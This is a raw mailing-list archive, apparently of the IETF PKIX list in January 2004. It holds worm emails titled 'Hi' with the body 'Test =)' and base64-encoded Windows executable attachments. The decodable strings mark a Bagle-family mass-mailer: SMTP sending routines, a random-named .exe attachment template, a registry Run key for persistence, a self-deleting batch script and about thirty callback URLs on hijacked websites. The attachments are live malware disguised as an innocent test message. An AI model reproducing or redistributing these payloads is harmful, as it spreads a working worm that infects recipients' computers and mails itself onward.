/3UIUOgLBgAAUFDoCf////91/OiuBQAAycIEAFWL7IPE/FZTaAAgAABqQOiQBQAAiUX8/3X8
aP8fAADoVgUAAIt1/IA+AHQcVug2BQAAg/gDdQZW6JL///9W6LsFAAAD8Ebr3/91/OhaBQAA
W17Jw2oAagDoJQYAAAvAdAHDaNAHAADoXAUAAOvmw1WL7IPElFNWaAAEAABqQOghBQAAiUX4
aM1WQAD/NQNQQAD/dQhoXlBAAP91+OhjBQAAg8QU6Kv///9qAGoAagBqAWjrV0AA6M0FAACJ
RfxqAGgAAABAagBqAP91+FDovAUAAJML23QGU+ifBQAA/3X86JcFAAD/dfjovQQAAJNeW8nC
BABX6KHo//8LwHUF6LPj//+/bVBAAPyL1zPAg8n/8q5S6Ff///+APwB17F/DVYvs6M3///9o
wCcJAOiXBAAA6+8zwMnCBABVi+yDxPyNRfxQagBqAGjtLUAAagBqAOjpAwAAUOi/AwAAycNV
i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc
5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91
DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/
dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM
6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI
jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v//
hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+
////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v//
UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q
6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+
//9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1
oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/
//9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij
AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo////
dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+
Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA
6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA
AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA
QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA
QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA
QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA
QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA
QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB
QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA
QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA
QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA
REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE
AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA
WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD
AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA
JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF
AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA
zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA
AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA
HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA
5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE
AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA
iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG
AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA
TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z
ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA
Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA
RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp
bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl
QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu
Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU
aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA
YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB
TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4
AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C
V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA
uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz
cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA
Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA
aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0
AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA
b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B
AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l
Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu
ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA
rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw
aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA
AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt
aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl
LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy
ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3
Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw
Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0
dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu
LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu
cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu
NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z
dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6
Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------613547131643413--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2s8ib002795; Sun, 18 Jan 2004 18:54:08 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J2s8KH002794; Sun, 18 Jan 2004 18:54:08 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ND1311 (202-145-70-77.adsl.ttn.net [202.145.70.77]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0J2rvic002779 for <[e-mail]>; Sun, 18 Jan 2004 18:54:01 -0800 (PST) (envelope-from [e-mail])
Date: Mon, 19 Jan 2004 10:51:38 +0800
To: [e-mail]
Subject: Hi
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--------275526655180024"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----------275526655180024
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
duqspmijwbtwsl
--
Test, yep.

----------275526655180024
Content-Type: application/x-msdownload; name="ieeb.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ljjfp.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
